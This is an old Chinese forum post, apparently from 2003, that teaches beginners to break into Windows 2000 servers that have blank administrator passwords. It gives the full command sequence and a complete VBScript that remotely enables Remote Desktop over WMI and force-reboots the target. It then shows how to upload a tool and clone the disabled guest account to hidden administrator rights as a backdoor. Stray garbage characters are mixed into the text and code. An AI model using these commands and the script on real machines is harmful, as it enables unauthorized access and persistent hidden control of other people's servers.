一次简单的3389入侵

firelinux

一次简单的3389入侵过程 s2 l3 Z+ W; ~& }原创：caozhe（草哲） % [8 k2 R; Y2 P" m来源：中国欲网技术论坛--草哲 % S: ?+ ?* F2 T$ v 我在网上看到很多很多教你如何如何入侵之类的文章，我觉得对于菜鸟来说根本是看不懂的！ 5 N5 U3 c- F. j- J! i+ h于是呢，我冒出个想法！想写篇简单点的，适合菜鸟的文章！把我学到的跟大家说一下~！ 要入侵，我建议你在win2000环境下来*作！ 首先，要入侵，你得有工具！我向大家推荐几款软件，也是我一直用的东西！ ' d5 ~7 [) q' O4 [& n% a& ^扫描的X-Scan V2.3、WINNTAutoAttack、流光！ 6 D: b" k. `' ?+ GX-Scan我最近很少用了，基本用的都是WINNTAutoAttack，当然，小榕的流光我也经常用！ 2 c- z9 I# y6 s U- R% n; e远程开终端需要一个脚本就可以了，代码请看二楼！保存为*.vbe（我保存的是rots.vbe） 克隆帐户用个psu就可以了~！ OK，比如扫描到了一个有NT弱口令的服务器，IP地址是120.0.0.1，管理员帐户是administrator，密码为空 * e% a/ t7 B$ Y0 K+ h* R( s4 Z2 |运行CMD（2000下的DOS），我们给它开终端！ 命令如下！ ; _+ {4 W: D/ y% zcscript rots.vbe 120.0.0.1 administrator "" 3389 /fr , |/ b2 g8 Y- B- q! j/ V上面的命令应该可以理解吧？cscript rots.vbe这是命令，后面的是IP，然后是管理员帐户，接这是密码，因为120.0.0.1这台服务器的管理员密码是空的，那就用双引号表示为空，再后面是端口，你可以任意设置终端的端口，/fr是重启命令（强制重启，一般我都用这个，你也可以/r，这是普通重启） 1 o% T: O, ^$ W M: A2 o$ T' m 因为终端服务器只在win2000 server以上的版本（包括server）才有，PRO当然是不行的，此版本可以检测服务器的版本，如果是PRO的则提示你退出安装！ & ^ T) z( i5 K! e 7 {3 Z: O/ H+ ?. D8 D1 n0 }+ Y一切顺利，过会就可以连接到终端了，我们可以ping它，看是否重启，ping 120.0.0.1 -t 1 A+ f) K+ i1 y' {8 R安装后用连接工具连接终端！现在我们克隆帐户，呵呵，为了给以后方便嘛！ % n3 j8 {$ @9 l9 h回到DOS下！我们建立IPC$连接！ + ]. n8 _* Y- Lnet use \\120.0.0.1\ipc$ "" /user:"administrator" 这个命令我想应该可以理解吧！命令完成后，我们把psu上传到目标机的winnt\system32目录下！ copy psu.exe \\120.0.0.1\admin$\system32 上传完毕后，开始在肉鸡做后门帐户！看肉鸡！ 假设guest用户被禁用，我们就是要利用guest做后门帐户！ 在该服务器运行CMD，在命令行下输入 psu -p regedit -i PID / Y+ G: e. r9 k% \/ n/ M. a( q这里解释一下，后面的PID是系统进程winlogon的值，我们在任务栏下点鼠标右键，看任务管理器！ 看进程选项卡，找到winlogon的进程，后面的数值就是winlogon的pid值，假设是5458 . K: V: G8 v5 K) D( {$ H7 M/ N5 I那么，命令就是这样 psu -p regedit -i 5458 ' y j' F6 i5 `3 }* p这样直接打开注册表，可以读取本地sam的信息。 打开键值HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users 下面的就是本地的用户信息了！我们要做的是把禁用的guest克隆成管理员权限的帐户！ 1 G0 Z, H* n6 _' d; NHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names 查看administrator的类型，是if4，再看guest的是if5 好了，知道了类型后，打开 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 3 [) S, X( y& w( P, S# o6 O, W这个值，双击右侧的F，把里面乱七八糟的字符复制下来，然后打开 $ B5 e0 d/ f, i" X/ mHKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5 1 D) H+ h( X @8 H; y1 G) _双击右侧的F，把刚复制的粘贴到里面！ : m5 k+ x N1 J' _( f5 o( `0 |' z 做好了以后，把HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5 3 f- [( C. h2 @$ l和HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest * \% s8 t$ m2 A7 y5 D$ ?2 O5 h, y# r这两个键值导出，导出后把那两个键值删除！然后再导入进来！关闭注册表。 , Z; y" d8 q% o9 n. i打开CMD，在命令行下输入 6 F& d' F" t; D: O* C. R/ A; Jnet user guest password ( ?& I. z" F! f0 ?7 n9 I# L这条命令是给guest设置密码，后面的password就是密码 然后输入 net user guest /active:y 3 W: N: w" h$ g$ p3 {这命令是激活guest帐户，然后我们把他禁用 net user guest /active:n 2 d8 t2 x2 n; T1 N& {" R7 h上面的三行命令必须在DOS下执行！ ; a( I& Y# ~5 P; F+ I* hOK了，打开计算机管理，看用户，你们看，guest帐户还是被禁用的~！哈哈，但它已经拥有管理员权限了！ ! d/ |" a" O+ v) G4 q6 o2 k7 D而且并不在管理员组里显示，还可以登陆终端，跟administrator帐户一样的！ . x, m9 g# u$ U% o6 v9 L' e注销一下，用guest登陆吧！ - C0 n' Q: l9 f8 W9 o打字都打累了~`！真不容易！呵呵~`希望上面的大家能看懂啊！ 如果还有地方不明白的话，可以问我，我知道的一定告诉大家！ 4 \3 B+ z/ ^2 e" F1 @& a/ u0 B因为本人也是菜鸟级的，会了点东西就不知道怎么好了，呵呵~`！如果哪里有不对的，还请高手指点啊~！ ---------------------------------------------------------------------- 以下是开终端的脚本，把它存为*.vbe on error resume next 6 ]+ I7 A. p0 D g' Y% Kset outstreem=wscript.stdout , x4 U8 P: |; _set instreem=wscript.stdin if (lcase(right(wscript.fullname,11))="wscript.exe") then set objShell=wscript.createObject("wscript.shell") 9 N1 N m" \7 Z. i1 u! P. ^ objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34)) wscript.quit 6 B& }# y3 d( Yend if # v, ?, f6 P# x$ [if wscript.arguments.count<3 then usage() % n) f' U+ f3 v: u m wscript.echo "Not enough parameters." wscript.quit $ O- t' E( q Q- I4 zend if ) U% O7 i3 c5 r8 D" Z. Z 1 I( E+ |' K, b4 M! lipaddress=wscript.arguments(0) username=wscript.arguments(1) password=wscript.arguments(2) if wscript.arguments.count>3 then port=wscript.arguments(3) ! d. {% U2 i# m5 H/ ~else port=3389 3 M- J9 A6 \, j+ t# @! i* L) d/ hend if if not isnumeric(port) or port<1 or port>65000 then & J4 k6 \- Y4 K! |" }) a wscript.echo "The number of port is error." ' r6 w8 t; D% r4 d wscript.quit & G) N/ }6 `7 P2 w! q4 pend if - u; E2 J; r4 U$ q2 w( Qif wscript.arguments.count>4 then 2 s! B% e) v5 q+ V" h5 P reboot=wscript.arguments(4) ; x6 I, h- E0 }; B- aelse ; m0 j$ T! [( t) `7 V. N reboot="" % p$ F( V; Z, T( |end if 8 Y: }, w. f7 |* U0 c: b , b+ ^" u; U' O( P/ Q$ Iusage() % y. B' T( Z, x2 U2 n) C a: |; boutstreem.write "Conneting "&ipaddress&" ...." 4 y6 R) Q, t' Z! _: v% pset objlocator=createobject("wbemscripting.swbemlocator") set objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password) ; V" m/ Y: }' m4 c6 Ishowerror(err.number) objswbemservices.security_.privileges.add 23,true objswbemservices.security_.privileges.add 18,true 9 x- m8 R1 T$ Goutstreem.write "Checking OS type...." set colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem") 5 n1 |6 v2 l3 T6 s' f2 O+ Nfor each objinstoscaption in colinstoscaption if instr(objinstoscaption.caption,"Server")>0 then 3 |: o+ }: H0 S# ?7 I' l wscript.echo "OK!" 2 Y) j1 A- |* [ ?. } else O q: J3 L# T. X wscript.echo "OS type is "&objinstoscaption.caption & }% N% @# |1 l2 X9 q outstreem.write "Do you want to cancel setup?[y/n]" . {" @$ e' z' O- [/ j; Q! v strcancel=instreem.readline if lcase(strcancel)<>"n" then wscript.quit end if 8 k% P+ x9 o: _* F3 Lnext & A1 _8 z0 m7 O7 d# p3 Woutstreem.write "Writing into registry ...." + \ K, k" N- e; Jset objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov") HKLM=&h80000002 HKU=&h80000003 & S( o: v! J3 c) Swith objinstreg .createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache" ) G. u) ]6 ]! a) Q.setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",0 .createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer" 8 K. Y: c5 @( }4 N.setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",1 .setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",1 6 V0 Y$ G' K. D.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2 .setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2 & z5 |: E/ d9 T- }! c( i* t.setstringvalue HKU,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1" .setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp","PortNumber",port end with # Z: s5 a. y' ]& Kshowerror(err.number) 5 l8 ]0 d. l3 o) x3 u1 i : ~. |" h" l- i% X9 erebt=lcase(reboot) 4 G S; m7 \+ J, \' W% Hflag=0 * W" l5 p( B# F0 f4 t3 dif rebt="/r" or rebt="-r" or rebt="\r" then flag=2 ' ]" M0 h7 w& W- M% Pif rebt="/fr" or rebt="-fr" or rebt="\fr" then flag=6 ' B i1 B) }% \5 E4 k# dif flag<>0 then outstreem.write "Now, reboot target...." strwqlquery="select * from win32_operatingsystem where primary='true'" set colinstances=objswbemservices.execquery(strwqlquery) for each objinstance in colinstances ! f- {' c) P. z5 n objinstance.win32shutdown(flag) next U+ [( [5 @( y! h% w. I8 D3 X) d showerror(err.number) else wscript.echo "You need to reboot target."&vbcrlf&"Then," end if wscript.echo "You can logon terminal services on "&port&" later. Good luck!" / k! v! o& ]' I8 p7 { ) H0 p2 w3 U( S% @" Sfunction showerror(errornumber) if errornumber Then 1 A: `1 Y; `; w6 P/ B* t. X# M T% Y0 z wscript.echo "Error 0x"&cstr(hex(err.number))&" ." $ x. a0 g# w* W, w/ Z$ p5 ?; [ if err.description <> "" then # F9 m! A( _& j5 a3 |5 s wscript.echo "Error description: "&err.description&"." ! Q5 r& \+ D8 V- O& f$ ~ end if wscript.quit 7 r1 A5 J& o ?; s6 z+ i* ^0 @else wscript.echo "OK!" end if end function function usage() 0 i/ p" ^: \, ^" d9 }9 Kwscript.echo string(79,"*") wscript.echo "ROTS v1.05" 7 k3 V7 D1 {% ]* O+ h9 Lwscript.echo "Remote Open Terminal services Script, by 草哲" ( T* K1 z$ P4 h. ~/ I! ^7 Bwscript.echo "Welcome to visite www.5458.net" wscript.echo "Usage:" wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r|/fr]" wscript.echo "port: default number is 3389." 4 h% L" w, S# e+ m+ \, C% p/ |wscript.echo "/r: auto reboot target." * c# E$ _& J6 hwscript.echo "/fr: auto force reboot target." wscript.echo string(79,"*")&vbcrlf end function : U, L ]# m! d6 w8 Q 转自安全焦点

这么好的东西好象没有人看,是不感兴趣吗?
还是什么的,看来我们工程学院还真有很多不错的角色哦!

不过你还是说得简单点吧,估计那样的话会有多一点的人看的

! l$ j: `3 Q/ i6 x- [
' I/ }* e2 L) W+ F& A

5 N$ u( J" d0 S8 F; K

[此贴子已经被作者于2003-3-24 21:15:45编辑过]

这个类似的我看多了，3389的漏洞好像都在一夜间成名，然后一夜间被人疯狂堵上。